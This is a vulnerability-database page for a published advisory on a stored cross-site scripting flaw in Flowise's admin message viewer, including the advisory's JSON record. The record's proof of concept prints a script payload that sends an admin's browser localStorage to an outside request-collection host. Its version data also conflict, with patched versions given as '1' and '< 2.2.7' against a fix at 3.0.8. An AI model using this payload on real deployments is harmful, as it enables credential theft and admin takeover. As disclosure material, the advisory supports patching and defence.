GHSA-964P-J4GG-MHWC
Vulnerability from github – Published: 2025-10-03 21:47 – Updated: 2025-10-13 17:38Summary
A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to localStorage.
Details
The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using <iframe srcdoc="..."> can include arbitrary JavaScript, which is executed when the message is rendered.
PoC
- Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website).
- Send the following payload via the agent's chat interface:
```html
``` 3. As an admin, go to the workflow and click **"View Messages"**. 4. The JavaScript is executed in the admin's browser, exfiltrating `localStorage` content to the attacker-controlled webhook endpoint. --- ### Impact - **Type:** Stored Cross-Site Scripting (XSS) - **Who is impacted:** Any admin viewing messages in the FlowiseAI UI - **Data at risk:** Admin credentials, or sensitive info stored in `localStorage` - **Severity:** High (Account takeover, admin privilege escalation, full panel compromise) --- ### Affected Products - **Ecosystem:** `npm` - **Package name:** `flowise` - **Affected versions:** `< 2.2.7` - **Patched versions:**`1`
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-50538"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-03T21:47:37Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nA stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the \"View Messages\" button in the workflow UI, the malicious script executes in the context of the admin\u2019s browser, enabling credential theft via access to `localStorage`.\n\n---\n\n### Details\nThe vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using `\u003ciframe srcdoc=\"...\"\u003e` can include arbitrary JavaScript, which is executed when the message is rendered.\n\n---\n\n### PoC\n1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website).\n2. Send the following payload via the agent\u0027s chat interface:\n ```html\n \u003ciframe srcdoc=\"\u003cscript\u003efetch(\u0027http://requestbin.whapi.cloud/XXXXX?d=\u0027+encodeURIComponent(JSON.stringify(localStorage)))\u003c/script\u003e\"\u003e\n ```\n3. As an admin, go to the workflow and click **\"View Messages\"**.\n4. The JavaScript is executed in the admin\u0027s browser, exfiltrating `localStorage` content to the attacker-controlled webhook endpoint.\n\n---\n\n### Impact\n- **Type:** Stored Cross-Site Scripting (XSS)\n- **Who is impacted:** Any admin viewing messages in the FlowiseAI UI\n- **Data at risk:** Admin credentials, or sensitive info stored in `localStorage`\n- **Severity:** High (Account takeover, admin privilege escalation, full panel compromise)\n\n---\n\n### Affected Products\n- **Ecosystem:** `npm`\n- **Package name:** `flowise`\n- **Affected versions:** `\u003c 2.2.7`\n- **Patched versions:**`1`",
"id": "GHSA-964p-j4gg-mhwc",
"modified": "2025-10-13T17:38:22Z",
"published": "2025-10-03T21:47:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-964p-j4gg-mhwc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50538"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/pull/4905"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/9a06a85a8ddcbaeca1342827a5fea9087a587d97"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Flowise is vulnerable to stored XSS via \"View Messages\" allows credential theft in FlowiseAI admin panel"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.